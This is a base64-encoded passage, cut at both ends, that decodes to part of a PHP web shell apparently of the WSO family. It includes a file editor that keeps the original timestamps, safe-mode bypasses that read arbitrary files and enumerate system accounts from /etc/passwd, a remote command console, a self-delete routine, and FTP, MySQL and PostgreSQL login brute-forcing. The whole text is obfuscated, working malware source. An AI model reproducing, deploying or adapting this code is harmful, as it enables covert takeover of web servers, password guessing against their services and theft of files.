PSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IAogICAgICAgICAgICBicmVhazsgCiAgICAgICAgY2FzZSAnZWRpdCc6IAogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsgCiAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOyAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyAKICAgICAgICAgICAgICAgICR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOyAKICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7IAogICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOyAKICAgICAgICAgICAgICAgIGlmKCRmcCkgeyAKICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOyAKICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IAogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOyAKICAgICAgICAgICAgICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7IAogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOyAKICAgICAgICAgICAgaWYoJGZwKSB7IAogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkgCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsgCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyAKICAgICAgICAgICAgYnJlYWs7IAogICAgICAgIGNhc2UgJ2hleGR1bXAnOiAKICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsgCiAgICAgICAgICAgICRuID0gMDsgCiAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOyAKICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7IAogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsgCiAgICAgICAgICAgICAgICAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOyAKICAgICAgICAgICAgICAgIHN3aXRjaCAoIG9yZCgkY1skaV0pICkgeyAKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOyAKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAkbisrOyAKICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgeyAKICAgICAgICAgICAgICAgICAgICAkbiA9IDA7IAogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9IAogICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsgCiAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gIlxuIjsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7IAogICAgICAgICAgICBicmVhazsgCiAgICAgICAgY2FzZSAncmVuYW1lJzogCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgCiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpIAogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7IAogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgCiAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICBjYXNlICd0b3VjaCc6IAogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IAogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsgCiAgICAgICAgICAgICAgICBpZigkdGltZSkgeyAKICAgICAgICAgICAgICAgICAgICBpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkgCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZhaWwhJzsgCiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdUb3VjaGVkISc7IAogICAgICAgICAgICAgICAgfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsgCiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgCiAgICAgICAgICAgIGJyZWFrOyAKICAgIH0gCiAgICBlY2hvICc8L2Rpdj4nOyAKICAgIHdzb0Zvb3RlcigpOyAKfSAKICAKZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7IAogICAgJHRlbXA9Jyc7IAogICAgb2Jfc3RhcnQoKTsgCiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IAogICAgICAgIGNhc2UgMTogCiAgICAgICAgICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsgCiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7IAogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOyAKICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7IAogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOyAKICAgICAgICAgICAgYnJlYWs7IAogICAgICAgIGNhc2UgMjogCiAgICAgICAgICAgICRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7IAogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApIAogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgCiAgICAgICAgICAgICAgICAgICAgZWNobyAkZmlsZW5hbWUuIlxuIjsgCiAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICBjYXNlIDM6IAogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIucHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7IAogICAgICAgICAgICBjdXJsX2V4ZWMoJGNoKTsgCiAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICBjYXNlIDQ6IAogICAgICAgICAgICBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IAogICAgICAgICAgICBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7IAogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7IAogICAgICAgICAgICBicmVhazsgCiAgICAgICAgY2FzZSA1OiAKICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7IAogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOyAKICAgICAgICAgICAgICAgIGlmICgkdWlkKSAKICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBicmVhazsgCiAgICB9IAogICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsgCiAgICB3c29IZWFkZXIoKTsgCiAgICBlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IAogICAgZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyAKICAgIGlmKCR0ZW1wKSAKICAgICAgICBlY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy5odG1sc3BlY2lhbGNoYXJzKCR0ZW1wKS4nPC9wcmU+JzsgCiAgICBlY2hvICc8L2Rpdj4nOyAKICAgIHdzb0Zvb3RlcigpOyAKfSAKICAKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsgCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgeyAKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXSA9IHRydWU7IAogICAgICAgICRfUE9TVFsncDEnXSAuPSAnIDI+JjEnOyAKICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSAKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXSA9IGZhbHNlOyAKICAKICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgeyAKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7IAogICAgICAgIG9iX3N0YXJ0KCk7IAogICAgICAgIGVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsgCiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi53c29FeCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsgCiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSB7IAogICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgeyAKICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsgCiAgICAgICAgICAgICAgICBlY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBlY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsgCiAgICAgICAgZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7IAogICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7IAogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7IAogICAgICAgIGV4aXQ7IAogICAgfSAKICAgIHdzb0hlYWRlcigpOyAKICAgIGVjaG8gIjxzY3JpcHQ+IAppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOyAKdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOyAKdmFyIGN1ciA9IDA7IApmdW5jdGlvbiBrcChlKSB7IAogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7IAogICAgaWYobiA9PSAzOCkgeyAKICAgICAgICBjdXItLTsgCiAgICAgICAgaWYoY3VyPj0wKSAKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOyAKICAgICAgICBlbHNlCiAgICAgICAgICAgIGN1cisrOyAKICAgIH0gZWxzZSBpZihuID09IDQwKSB7IAogICAgICAgIGN1cisrOyAKICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkgCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsgCiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXItLTsgCiAgICB9IAp9IApmdW5jdGlvbiBhZGQoY21kKSB7IAogICAgY21kcy5wb3AoKTsgCiAgICBjbWRzLnB1c2goY21kKTsgCiAgICBjbWRzLnB1c2goJycpOyAKICAgIGN1ciA9IGNtZHMubGVuZ3RoLTE7IAp9IAogIAo8L3NjcmlwdD4iOyAKICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsgCiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsgCiAgICAgICAgaWYoJHYgPT0gJycpIHsgCiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsgCiAgICAgICAgICAgIGNvbnRpbnVlOyAKICAgICAgICB9IAogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsgCiAgICB9IAogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsgCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOyAKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IAogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSkpOyAKICAgIH0gCiAgICBlY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7IAogICAgZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOyAKICAgIHdzb0Zvb3RlcigpOyAKfSAKICAKZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgeyAKICAgIHNlc3Npb25fZGVzdHJveSgpOyAKICAgIGRpZSgnYnllIScpOyAKfSAKICAKZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsgCiAgCiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIAogICAgICAgIGlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpIAogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsgCiAgICAgICAgZWxzZQogICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsgCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpIAogICAgICAgIHdzb0hlYWRlcigpOyAKICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsgCiAgICB3c29Gb290ZXIoKTsgCn0gCiAgCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7IAogICAgd3NvSGVhZGVyKCk7IAogICAgaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7IAogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsgCiAgICAgICAgaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsgCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyAKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsgCiAgICAgICAgICAgICAgICBpZighJGZwKSByZXR1cm4gZmFsc2U7IAogICAgICAgICAgICAgICAgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsgCiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7IAogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7IAogICAgICAgICAgICB9IAogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsgCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyAKICAgICAgICAgICAgICAgICRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOyAKICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsgCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgeyAKICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7IAogICAgICAgICAgICAgICAgJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7IAogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOyAKICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsgCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICAkc3VjY2VzcyA9IDA7IAogICAgICAgICRhdHRlbXB0cyA9IDA7IAogICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7IAogICAgICAgIGlmKCRfUE9TVFsndHlwZSddID09IDEpIHsgCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7IAogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkgCiAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7IAogICAgICAgICAgICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsgCiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IAogICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7IAogICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7IAogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7IAogICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wIC49ICRsaW5lWzBdWyRpXTsgCiAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOyAKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsgCiAgICAg